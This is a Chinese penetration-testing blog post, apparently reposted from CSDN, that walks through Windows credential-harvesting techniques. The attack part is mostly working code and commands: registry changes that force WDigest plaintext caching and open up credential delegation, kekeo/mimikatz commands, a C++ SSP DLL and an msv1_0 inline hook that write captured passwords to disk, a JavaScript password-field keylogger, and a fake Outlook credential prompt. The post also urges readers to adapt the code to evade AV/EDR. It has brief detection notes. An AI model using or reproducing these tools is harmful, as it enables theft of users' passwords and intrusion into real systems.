注意:预编译头中添加"stdafx.h,位数选择和目标对应的版本

安装Password Filter DLL

  • 注册表hklm\system\currentcontrolset\control\lsaNotification Packages配置Password Filter DLL的名称。

  • Password Filter DLL保存在%windir%\system32\下

  • 组策略开启组策略密码必须符合复杂性要求

  • 重启系统

reg query "hklm\system\currentcontrolset\control\lsa" /v "notification packages"
reg add "hklm\system\currentcontrolset\control\lsa" /v "notification packages" /d scecli\0Password-Filter-DLL /t reg_multi_sz
#为什么有\0?为了换行

在Powershell中设置注册表

Powershell中也能完整上述类似效果。

$passwordFilterName = (Copy-Item "Password-Filter-DLL" -Destination "C:\Windows\System32" -PassThru).basename
$lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
$notificationPackagesValues += $passwordFilterName
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
Restart-Computer -Confirm
#需管理权限

总结

这种密码收集方法动静很大,需要目标重启,且要求当前管理权限,开启密码复杂度。

在三好学生blog中提到,修改组策略配置,开启组策略的密码复杂度,也是一种方法。

Forcing WDigest to Store Credentials in Plaintext

参考:

深入分析Mimikatz:WDigest

如何防御Mimikatz

Wdigest简单说为了http认证而把用户的密码存在lsass进程中的一种协议:

在Windows Server 2008 R2之前,系统默认情况下会缓存WDigest凭据,此后系统不再缓存明文凭据。

老版本的系统打了补丁KB2871997,可修改注册表禁用WDigest协议

设置NegotiateUseLogonCredential为0,另外Windos server 2016 和Windows 10中没有UseLogonCredential

可通过修改注册表重新启用该WDigest协议:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
#管理员权限
logoff #注销或者重启生效
reg delete  HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential  #删除值禁用WDigest协议
reg query  HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest #查询

未开启之前是这样的:

sekurlsa::wdigest

开启之后抓取密码是这样的:

可以看到已经成功抓取到铭文密码。

注:Metasploit中存在post/windows/manage/wdigest_caching自动修改注册表的模块

Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching LSASS

      转储委派的Kerberos和NTLM凭证,不接触Lsass

一些基础

      渗透技巧——Windows中Credential Manager的信息获取

      注:建议阅读三好学生原文

      渗透测试实战第三版(红队版)——从 Windows 凭据管理器和浏览器获取密码

      Kinds of Credentials

      Credentials Processes in Windows Authentication

control keymgr.dll #打开凭据管理

Credential Manager(凭据管理器)是Windows 7 或Windows Server 2008 R2 中引入的一项功能,用来保存系统、网站和服务器的用户、密码和证书。使用 Microsoft IE/EDGE 进行验证时,会提示“是否保存密码”,如果选择存储,再次验证时,则会自动登录。

例如,使用RDP,选择记住凭据,则会在凭据管理器种新增一条Windows凭据:

凭据管理器中分为两种类型的凭据:

  • Web 凭据:Microsoft IE/EDGE(Edge Chromium版不同)

  • Windows 凭据:登录windows的凭据,SMB共享、RDP等等

        这部分不同Windows 版本上有点不同,例如Windows 7 仅有Windows 凭据、基于证书的凭据、普通凭据,没有Web凭据

Windows凭据中又有三种类型:Windows 凭据、基于证书的凭据、普通凭据。

        在微软文档中 Credentials Management API,分为两类凭据,Domain Credentials(域凭据)和Generic Credentials(通用凭据)

        域凭据只能由LSA进行读写,通用凭据可由用户进程进行读取和写入。

#相关票据可打开控制面板查看,也可以使用以下命令
cmdkey /list #显示所有已存储的用户名和票据
cmdkey /add:server01 /user:mikedan /pass:Kleo #添加用户名和密码为凭据
cmdkey /add:server01 /user:mikedan  #不指定密码添加凭据
cmdkey /delete /ras #删除远程访问存储的凭据
cmdkey /delete:server01 #删除凭据
#注:该命令修改的是Windows凭据,非Web凭据
#注:不同用户的%localappdata%不同,cmdkey 修改只对当前用户的凭据,例如:在A用户使用cmdkey 修改,B(可以是域用户)用户是无法查看的。

参考:Cmdkey

凭据的保存的位置在%localappdata%/Microsoft\Vault,称为保管库。

#修改保管库相关命令
VaultCmd /list #列出保管库
VaultCmd /listschema #列出凭据架构
VaultCmd /listcreds
#中文系统请使用中文
vaultcmd /listcreds:"Web 凭据" #查看保管库中的凭据
vaultcmd /listcreds:"Windows 凭据" 
VaultCmd /addcreds #添加保管库,具体参数请自行查看
VaultCmd /deletecreds #删除保管库
VaultCmd /listproperties #查看保管库属性,需指定保管库
VaultCmd /sync #同步,可能和引用商店密码有关,具体笔者未知

另外mimikatz中也提供了相关命令可以查看保管库中的相关信息(WEB凭据是明文的,Domain Password加密存储,暂且不知道如何解密)

      给想要解密的小伙伴提供一些思考:猜测这个也和DPAPI有关

了解了以上的知识再来看本小节的主题,凭据分配

相关设置

参考:Credential theft without admin or touching LSASS with Kekeo by abusing CredSSP / TSPKG (RDP SSO)

凭据分配可以让管理员(域管理员)授权某些SPN(服务)接受分配的凭据。

例如,开启分配凭据,RDP免输入凭据直接链接。

      这里涉及到组策略设置,默认未配置,比较奇怪的时,默认组策略下,记住凭据可以二次链接可以免凭据链接。

      这里就产生一个疑问,是否向RDP server 分配了凭据。我猜测是不会的,待确认。

相关组策略:

注:笔者域环境,所以在域控下发组策略,配置之后请gpupdate

几个凭据很容易弄混,解释下这里出现的3种凭据:

默认凭据是首次登录 Windows 时要使用的凭据

保存的凭据是指凭据管理中保存的凭据

新的凭据是指执行应用程序时提示输入的凭据

相关设置在注册表中的项为:HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CredentialsDelegation

如果未配置,则项不存在,此处启用允许分配默认凭据,服务器列表的值为TERMSRV/*(这个值实际上就是SPN),另外系统的默认分配凭据的组策略在注册表中路径为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults

kekeo可列举注册表中的值:

转储Kerberos

组策略配置开启”允许分配默认凭据“,策略设置的值TERMSRV/*

#SRV-DB-0DAY 上操作
.\PsExec64.exe -s cmd #以System权限,或者以其他方式得到system权限
tsssp::list #检测注册表相关配置
tsssp::server #
#PC-jerry-0day
tsssp::client /target:TERMSRV/SRV-DB-0DAY /pipe:\\SRV-DB-0DAY\pipe\kekeo_tsssp_endpoint
#整个操作过程如图所示

*SRV-DB-0DAY *捕获到分配的凭据:

另外PC-jerry-0day上的将生成一个新的票据:

转储NTLM

组策略配置启用“允许分配默认凭据”和“允许分配默认凭据用户仅NTLM身份验证”,且设置的值都为“*”。

这里开启了两个kekeo,一个做clien,一个做server:

注:都是标准用户(域用户,非管理权限)

#客户端无法验证服务器的,`tsssp::client /target:A`中的A可以是任意值
tsssp::client /target:A
tsssp::server

可以看到捕获的是当前账号0day\jerry的密码,注意:当前凭据管理中是没有该账号的,仅有RDP保存的0day\sqladmin:

即实现了不接触Lsass得到当前账号的密码。

手动开启分配票据

可能遇到的目标未启用分配凭据,如何启用分配票据:

  • RDP链接过去直接改组策略,并修改服务器的值为*

  • cmd下使用reg命令修改注册表,并修改服务器的值为*

reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d "*" 

reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d "*
#如何恢复
reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f #删除所有项

#以上操作需要管理权限

如何转储其他用户的凭证

笔者未复现成功,但大致了解了整个过程

假设当前是system,首先先寻找其他用户的进程(改用户可以是标准用户,也可以是管理员用户):

tasklist /v |findstr /I Jerry

使用kekeo开启server:

tsssp::server #kekeo中,标准用户身份即可

开启另外一个终端,使用mimikatz以注入进程(jerry身份运行的进程),执行tsssp::client

笔者理解的是进程注入,可能有误

process::runp /pid:3344 /run:"kekeo.exe \"tsssp::client /target:A\" exit"

最终tsssp::server收到分配的凭据。

小结

实际上感觉还有更好的方式实现,例如使用模拟令牌或者其他注入进程的工具实现身份的窃取,使用tsssp::client即可获得明文密码。

本地枚举分配的凭据

通过注册表查询已开启分配凭据

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation  #检查分配凭据是否开启
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredent

通过AD枚举分配的凭据

参考:

gpresult

Get-GPOReport

gpresult /h report.html #默认是本地的
#or
Get-GPOReport -All -Domain "0day.org" -Server "OWA2010SP3" -ReportType html -Path "C:\Users\jerry.0day\GPOReportsAll.html"
#推荐前者,拉取本地内容,速度快

导出组策略为html文件,通过浏览器查看相关策略设置。至此这一小节结束。

通过自定义安全支持提供者(Security Support Provider)和认证包拦截登录凭证。

Security Support Provider(安全支持提供者),简称SSP,其具体实现为一个DLL,这些DLL在系统启动时注入到 lsass.exe 进程中,或者通过AddSecurityPackage API动态注入。

通过重新启动加载SSP

copy mimilib.dll  %systemroot%\system32 #使用对应位数的mimilib.dll
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f #\0是为了换行
#以上操作需管理员权限
shutdown /r /t 0 #重启登录
type %systemroot%\system32\kiwissp.log
reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" /d "" /t REG_MULTI_SZ /f  #恢复配置

不重新启动加载SSP

通过AddSecurityPackageAAPI动态注入Lsass.exe进程。

#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma  comment(lib,"crypt32.lib")

int main()
{
	SECURITY_PACKAGE_OPTIONS spo = {};
	SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"C:\\Users\\jerry\\mimilib.dll", &spo);
	return 0;
}

实际上mimikatz中也提供了对应的命令:

privilege::debug
misc::memssp

type %systemroot%\system32\mimilsa.log

检测

  • 监控注册表hklm\system\currentcontrolset\control\lsa\

  • 查看 lsass进程已加载的DLL

代码

#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include "stdafx.h"
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#pragma  comment(lib,"crypt32.lib")

NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable) { return 0; }
NTSTATUS NTAPI SpShutDown(void) { return 0; }

NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)
{
	PackageInfo->Name = (SEC_WCHAR *)L"SSSPotless";
	PackageInfo->Comment = (SEC_WCHAR *)L"SSSPotless <o>";
	PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
	PackageInfo->wRPCID = SECPKG_ID_NONE;
	PackageInfo->cbMaxToken = 0;
	PackageInfo->wVersion = 1;
	return 0;
}

NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
	HANDLE outFile = CreateFile(L"c:\\temp\\logged-pw.txt", FILE_GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD bytesWritten = 0;
	
	std::wstring log = L"";
	std::wstring account = AccountName->Buffer;
	std::wstring domain = PrimaryCredentials->DomainName.Buffer;
	std::wstring password = PrimaryCredentials->Password.Buffer;

	log.append(account).append(L"@").append(domain).append(L":").append(password).append(L"\n");
	WriteFile(outFile, log.c_str(), log.length() * 2, &bytesWritten, NULL);
	CloseHandle(outFile);
	return 0;
}

SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =
{
	{
		NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,	SpInitialize, SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL 
	}
};

以上代码来自mimikatz,修改了一部分,可编译SSP DLL,截取认证信息保存到c:\\temp\\logged-pw.txt

一些SSP相关链接和Trick

参考:

Mimikatz中SSP的使用

Security Support Provider

Security Support Provider——MSDN

探索Mimikatz神器之SSP

Persistence – Security Support Provider

  • Empire框架中提供了Install-SSP.ps1实现不重启加载SSP

  • PowerSploit中Invoke-Mimikatz实现不重启加载SSP(Invoke-Mimikatz -Command "misc::memssp"

  • SharpSploit 中提供了Mimi-Command misc::memssp实现不重启加载SSP

通过 Hooking HTML输入字段来提取Web应用程序密码

在什么时候有用?

  • RDP连接目标,目标正在使用WEB应用

  • 想要目标的WEB应用凭据,并且不想使用键盘记录等工具

  • 目标WEB应用选项卡已打开

Hooking 密码字段

Events

WEB应用中 定义密码字段的的 input属性为password:

所有的Web元素都可以相应各种类型的事件,并且在这些事件发生时执行代码,例如,输入字段可以相应诸如onFocus(对象获得焦点)、onBlur (对象失去焦点)和其他事件,其中包括keypress、 onKeyDown 和 onKeyUp 的各种键盘事件。

更多关于 Events 的信息——HTML Event Attributes

Hooking

t=""; $('input[type="password"]').onkeypress = function (e) { t+=e.key; console.log(t); localStorage.setItem("pw", t); }

上述代码只捕获password ,用户名也可以用同样的方式获得

大概解释下:

  • 在目标Web 应用程序的HTML中选择类型为password的输入字段

  • 使用一个函数绑定到onkeypress事件,该函数在用户登录到目标应用程序时,捕获用户在密码字段中输入的按键

    • 处于演示的目的,该函数讲捕获的按键打印到浏览器的控制台。

    • 该函数将捕获的密码存储的浏览器的本地存储pw字段中。

如果目标在捕获密码之前关闭针对的WEB应用程序选项卡,则 Hooking将被清除,Hooking 需要在此重复操作。

Tips:如何清空控制台,这里使用的时Ctrl+r (重新加载网页)

读取保存的密码

通过控制台读取本地存储

localStorage.pw

即使浏览器关闭,任然可行

磁盘上的LocalStorage 文件

Local Storage在的路径为%localappdata%\Google\Chrome\User Data\Profile 1\Local Storage\leveldb****.log中,笔者的是003356.log.

笔者chrome 版本v83 ,不同版本路径有差异。

打开文本文件搜索pw字段即可找到保存的密码。

未复现成功

渗透

上面的代码很容易修改为每次按键时将密码发送给攻击者控制的Web服务器,而无需使用控制台查看或者查看LocalStorage 的文件。

转移密码时请使用加密的通信

检测

LocalStoraged的*****.log中包含了插入的Hooking 代码,因此可监控%localappdata%\Google\Chrome\User Data\Profile 1\Local Storage\leveldb中的***.log文件,文件包含JavaScript 密码选择器和关键词onkeypressonkeyuponkeydown等。

Hooking msv1_0!SpAcceptCredentials 拦截登录凭证。

参考:

深入分析Mimikatz:SSP

Exploring Mimikatz - Part 2 - SSP

这一章限于笔者个人知识面,无法理解,因此这里只介绍如何使用:

#define SECURITY_WIN32
#include "stdafx.h"
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>


using _SpAcceptCredentials = NTSTATUS(NTAPI *)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials);
char startOfPatternSpAccecptedCredentials[] = { 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48 };
char bytesToPatchSpAccecptedCredentials[12] = { 0x48, 0xb8 };
PVOID patternStartAddressOfSpAccecptedCredentials = NULL;
PVOID addressOfSpAcceptCredentials = NULL;
char bytesToRestoreSpAccecptedCredentials[12] = { 0 };
void installSpAccecptedCredentialsHook();

PVOID GetPatternMemoryAddress(char *startAddress, char *pattern, SIZE_T patternSize, SIZE_T searchBytes)
{
	unsigned int index = 0;
	PVOID patternAddress = NULL;
	char
		*patternByte = 0,
		*memoryByte = 0;
	do
	{
		if (startAddress[index] == pattern[0])
		{
			for (size_t i = 1; i < patternSize; i++)
			{
				*(char *)&patternByte = pattern[i];
				*(char *)&memoryByte = startAddress[index + i];

				if (patternByte != memoryByte)
				{
					break;
				}

				if (i == patternSize - 1)
				{
					patternAddress = (LPVOID)(&startAddress[index]);
					return patternAddress;
				}
			}
		}
		++index;
	} while (index < searchBytes);

	return (PVOID)NULL;
}

NTSTATUS NTAPI hookedSpAccecptedCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
	DWORD bytesWritten = 0;
	HANDLE file = CreateFileW(L"c:\\temp\\credentials.txt", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, NULL, NULL);
	_SpAcceptCredentials originalSpAcceptCredentials = (_SpAcceptCredentials)addressOfSpAcceptCredentials;

	// intercept credentials and write them to disk
	WriteFile(file, PrimaryCredentials->DownlevelName.Buffer, PrimaryCredentials->DownlevelName.Length, &bytesWritten, NULL);
	WriteFile(file, "@", 2, &bytesWritten, NULL);
	WriteFile(file, PrimaryCredentials->DomainName.Buffer, PrimaryCredentials->DomainName.Length, &bytesWritten, NULL);
	WriteFile(file, ":", 2, &bytesWritten, NULL);
	WriteFile(file, PrimaryCredentials->Password.Buffer, PrimaryCredentials->Password.Length, &bytesWritten, NULL);
	CloseHandle(file);

	// unhook msv1_0!SpAcceptCredentials
	WriteProcessMemory(GetCurrentProcess(), addressOfSpAcceptCredentials, bytesToRestoreSpAccecptedCredentials, sizeof(bytesToRestoreSpAccecptedCredentials), NULL);

	// hook msv1_0!SpAcceptCredentials again with a delay so that originalSpAcceptCredentials() can execute
	CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)installSpAccecptedCredentialsHook, NULL, NULL, NULL);
	
	// call original msv1_0!SpAcceptCredentials
	return originalSpAcceptCredentials(LogonType, AccountName, PrimaryCredentials, SupplementalCredentials);
}

void installSpAccecptedCredentialsHook()
{
	Sleep(1000 * 5);
	HMODULE targetModule = LoadLibraryA("msv1_0.dll");
	DWORD bytesWritten = 0;

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
	SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;

	// find address of msv1_0!SpAcceptCredentials
	patternStartAddressOfSpAccecptedCredentials = (LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char *)targetModule, startOfPatternSpAccecptedCredentials, sizeof(startOfPatternSpAccecptedCredentials), sizeOfImage);
	addressOfSpAcceptCredentials = (LPVOID)((DWORD_PTR)patternStartAddressOfSpAccecptedCredentials - 16);

	// store first sizeof(bytesToRestoreSpAccecptedCredentials) bytes of the original msv1_0!SpAcceptCredentials routine
	std::memcpy(bytesToRestoreSpAccecptedCredentials, addressOfSpAcceptCredentials, sizeof(bytesToRestoreSpAccecptedCredentials));
	
	// hook msv1_0!SpAcceptCredentials with "mov rax, hookedSpAccecptedCredentials; jmp rax";
	DWORD_PTR addressBytesOfhookedSpAccecptedCredentials = (DWORD_PTR)&hookedSpAccecptedCredentials;
	std::memcpy(bytesToPatchSpAccecptedCredentials + 2, &addressBytesOfhookedSpAccecptedCredentials, sizeof(&addressBytesOfhookedSpAccecptedCredentials));
	std::memcpy(bytesToPatchSpAccecptedCredentials + 2 + sizeof(&addressBytesOfhookedSpAccecptedCredentials), (PVOID)&"\xff\xe0", 2);
	WriteProcessMemory(GetCurrentProcess(), addressOfSpAcceptCredentials, bytesToPatchSpAccecptedCredentials, sizeof(bytesToPatchSpAccecptedCredentials), (SIZE_T*)&bytesWritten);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
		{
			installSpAccecptedCredentialsHook();
		}
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
	}
	return TRUE;
}

编译为DLL,使用前面的AddSecurityPackageA加载DLL,或者使用RPC通过LoadLibrary来加载DLL(貌似通过RPC调用不会再lsass 加载DLL列表中)。

注:有能力的师傅,理解上述代码,根据原理,在实际环境中定制自己的payload,绕过AV或者EDR。

通过CredUIPromptForCredentials收集凭据

窃取用户凭据

#include "stdafx.sh"
#include <windows.h>
#include <wincred.h>

#pragma comment(lib, "Credui.lib")

int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
	CREDUI_INFO ci = { sizeof(ci) };
	std::wstring promptCaption = L"Microsoft Outlook";
	std::wstring promptMessage = L"Connecting to [email protected]";
	ci.pszCaptionText = (PCWSTR)promptCaption.c_str();
	ci.pszMessageText = (PCWSTR)promptMessage.c_str();

	WCHAR username[255] = {};
	WCHAR password[255] = {};
	DWORD result = 0;

	result = CredUIPromptForCredentialsW(&ci, L".", NULL, 5, username, 255, password, 255, FALSE, CREDUI_FLAGS_GENERIC_CREDENTIALS);
	if (result == ERROR_SUCCESS)
	{
		HANDLE newToken = NULL;
		BOOL credentialsValid = FALSE;

		credentialsValid = LogonUserW(username, NULL, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &newToken);
		if (credentialsValid)
		{
			// valid credentials provided
		}
		else
		{
			// invalid credentials provided
		}
	}
	else if (result == ERROR_CANCELLED)
	{
		// no credentials provided
	}

	return 0;
}

另外:这里使用的函数是CredUIPromptForCredentialsW,但作者推荐的使用CredUIPromptForWindowsCredentialsA

如果编译请选择C++ 桌面应用模板

在powershell中使用Get-Credential可以达到同样的效果。

弹出一个提示框,用以让用户输入密码,可以选择将其保存为文件或者通过网络发送至控制的服务器(这部分代码没有写明)。

检测凭据

略,这部分笔者暂时未成功复现。至此凭据收集暂告一段落。


虽然我们生活在阴沟里,但依然有人仰望星空!


猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/108196807